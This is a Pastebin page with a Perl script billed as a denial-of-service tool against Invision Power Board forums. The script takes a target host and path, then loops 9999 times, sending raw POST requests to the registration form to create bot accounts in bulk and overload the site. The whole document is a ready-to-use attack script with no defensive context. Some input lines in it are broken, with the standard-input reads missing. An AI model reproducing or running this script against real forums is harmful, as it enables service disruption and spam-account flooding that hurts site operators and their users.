iViiRuS

sed dos script

Apr 8th, 2014
166
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. ##########################################################
  4. ## _______ _______ ______ #
  5. ## |______ |______ | \ #
  6. ## ______| |______ |_____/ #
  7. ## #
  8. ##IPB Register Multiple Users Denial of Service #
  9. ##Doesn't Work on forums using "Code Confirmation" #
  10. ##Created By SkOd #
  11. ##SED security Team #
  12. ##http://www.sed-team.be #
  13. ##skod.uk@gmail.com #
  14. ##DDoS 'Scripts' #
  15. ##########################################################
  16.  
  17. print q{
  18. ############################################################
  19. # Invision Power Board Multiple Users DOS #
  20. # Tested on IPB 2.0.1 #
  21. # created By SkOd. SED Security Team #
  22. ############################################################
  23. };
  24. $rand=rand(10);
  25. print "Forum Host: ";
  26. $serv = ;
  27. chop ($serv);
  28. print "Forum Path: ";
  29. $path = ;
  30. chop ($path);
  31. for ($i=0; $i<9999; $i++)
  32. {
  33. $name="sedXPL_".$rand.$i;
  34. $data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
  35. $len = length $data;
  36. $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
  37. print $get1 "POST ".$path."index.php HTTP/1.0\n";
  38. print $get1 "Host: ".$serv."\n";
  39. print $get1 "Content-Type: application/x-www-form-urlencoded\n";
  40. print $get1 "Content-Length: ".$len."\n\n";
  41. print $get1 $data;
  42. syswrite STDOUT, "+";
  43. }
  44. print "Forum shuld be Dosed. Check it out...\n";
RAW Paste Data